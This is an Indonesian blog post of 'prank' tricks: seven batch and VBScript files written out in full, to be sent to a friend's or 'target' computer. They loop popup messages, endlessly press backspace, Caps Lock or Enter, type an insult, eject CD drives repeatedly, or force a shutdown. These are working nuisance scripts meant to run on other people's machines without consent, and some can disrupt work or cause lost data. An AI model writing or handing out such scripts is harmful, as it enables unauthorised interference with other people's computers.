Bermain Dengan Notepad

Seberapa seringkah anda bermain dengan notepad? jarang bukan?. Kali ini saya akan posting tips-tips usil dengan notepad ( hanya boleh dicoba dikomputer teman ). Sudah siap?????

1. MEMUNCULKAN PESAN DIKOMPUTER LAIN
Ketik kode dibawah ini dan save as (terserah).bat
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN


 2. TEKAN KEYBOARD TERUS MENERUS
Ketik kode dibawah ini dan save as keys.vbs
MsgBox “stop me..! if you can”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop


3. BERIKAN TEMAN PESAN DAN SHUTDOWN KOMPUTER
Ketik kode dibawah ini dan save as message.bat untuk mematikan komputernya
@echo off
msg * I don’t like you
shutdown -c “Hahahah You are Doomed” -s


4. TOMBOL CAPS LOCK BERALIH BERSAMAAN
Ketik kode dibawah ini dan save as capslock.vbs dan kirim ke komputer tujuan
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop


5. MENEKAN TOMBOL ENTER BERSAMAAN KETIKA MENEKAN TOMBOL LAIN
Ketik kode dibawah ini dan save as enter.vbs dan kirim ke komputer tujuan
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop


6. HACK KEYBOARD UNTUK MENGETIK "BODOH" BERSAMAAN
Ketik kode dibawah ini dan save as bodoh.vbs dan kirim ke komputer tujuan
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop


7. BUKA CD/DVD DRIVE TERUS MENERUS
Ketik kode dibawah ini dan save as dvd.vbs dan kirim ke komputer tujuan
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


Sumber : System Hacker

Posted in: Trik